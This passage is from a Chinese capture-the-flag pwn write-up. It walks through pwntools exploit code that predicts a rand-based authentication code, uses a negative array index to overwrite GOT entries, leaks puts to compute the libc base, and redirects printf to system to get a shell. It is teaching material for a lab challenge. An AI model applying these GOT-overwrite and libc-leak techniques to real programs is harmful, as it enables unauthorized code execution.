sa(b'input yours id\n',b'a'*0x10) Pwn.libclib.srand(bytes_to_long(b'a'*8)) v2 = Pwn.libclib.rand(0) sla(b'Input yours id authentication code:\n',str(v2).encode())
-
接着执行 buy 函数,在里面存在数组下标溢出:
-
我们发现 section 上方一段距离可以看到 got 表,我们可以通过
section[16 * v0]
读入 0x10 的数据来修改 got 表: -
由于一次只能修改两个地址,我们先将 exit 的 got 表改为 buy 函数的地址,让我们可以多次泄露和修改:
sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-4') s(p64(buy_addr))
-
然后泄露 libc,需要注意的是 section 地址末尾是 0,而输入的其实位置是
section[16 * v0]
末位也是 0,并且 read 一定会读入至少一个字节,我们没办法将其直接指向 puts 的来泄露 puts 的地址,我们指向 -9 的位置把前面填满来输出 puts:sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-9') s(b'a'*0x10) ru(b'a'*0x10) puts_addr = u64(Pwn.p.recv(6).ljust(8,b'\x00')) libc_base = puts_addr - Pwn.libc.symbols["puts"] system_addr = libc_base + Pwn.libc.symbols["system"] leak("libc_base",libc_base) leak("puts_addr",puts_addr) leak("system_addr",system_addr)
-
我们在左侧发现有一个 vuln 函数,可以 printf 输出 '/bin/sh',那么我们可以把 printf 的 got 表改为 system,再把 puts 的 got 表改为 vuln 函数,就可以获得权限了:
sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-7') s(p64(system_addr)) sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-8') s(p64(vuln_addr))
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具